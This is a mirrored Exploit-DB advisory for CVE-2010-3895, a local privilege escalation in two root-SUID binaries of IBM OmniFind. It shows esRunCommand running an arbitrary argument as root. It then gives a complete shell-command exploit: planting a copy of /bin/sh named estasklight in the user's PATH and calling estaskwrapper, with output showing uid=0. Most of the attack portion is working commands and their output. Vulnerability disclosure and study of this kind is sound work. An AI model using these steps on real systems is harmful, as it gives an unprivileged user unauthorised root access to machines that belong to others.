IBM OmniFind – Local Privilege Escalation - 体验盒子

作者： Fatih Kilic
日期： 2010-11-09
类别：
local
平台：
multiple
来源：https://www.exploit-db.com/exploits/15475/
* Privilege escalation in two applications (CVE-2010-3895)

Root SUID bits are set for the applications »esRunCommand« and »estaskwrapper«.

-------------------------------------------------------------------------
-rwsr-xr-x 1 root users ... /opt/IBM/es/bin/esRunCommand
-rwsr-xr-x 1 root users ... /opt/IBM/es/bin/estaskwrapper
-------------------------------------------------------------------------


»esRunCommand« takes one argument and runs it as root. See example below.
-------------------------------------------------------------------------
-rwsr-xr-x 1 root users ... /opt/IBM/es/bin/esRunCommand

joemueller@XXX:/opt/IBM/es/bin> ./esRunCommand id
OUTPUT: cmd is id
id
uid=0(root) gid=100(users) Gruppen=16(dialout),33(video),100(users)
-------------------------------------------------------------------------



The application »estaskwrapper« is meant to start the application »estasklight«. 
The pseudo c code looks like this:
-------------------------------------------------------------------------
	main() {
	int auth = 0;
	...
	if (argv[1] == "estasklight") {
	auth = 1;
		...
		path = getenv("ES_LIBRARY_PATH");
		if (path) {
		setenv("LD_LIBRARY_PATH", path);
		setenv("LIBPATH", path);
		...
		if (auth) {
			execvp ("estasklight", args);
		}
		...
		}
	...
	}
	...
	}
-------------------------------------------------------------------------


Explanation of the code:

»argv[1]« is the first command line argument, that is compared with the string
»estasklight«. If it is equal the »auth« flag is set. 
If the user has the environment variable »ES_LIBRARY_PATH« set, the value is
copied to two new environment variables »LD_LIBRARY_PATH« and »LIBPATH«.
If the »auth« flag is set, the application »estasklight« is executed.



Exploit for running /bin/sh
-------------------------------------------------------------------------
joemueller@XXX:~> cp /bin/sh ~/bin/estasklight
joemueller@XXX:~> export ES_LIBRARY_PATH=/home/joemueller
joemueller@XXX:~> export PATH=/home/joemueller/bin:$PATH
joemueller@XXX:~> /opt/IBM/es/bin/estaskwrapper estasklight
XXX:~# id
uid=0(root) gid=100(users) Gruppen=16(dialout),33(video),100(users)
-------------------------------------------------------------------------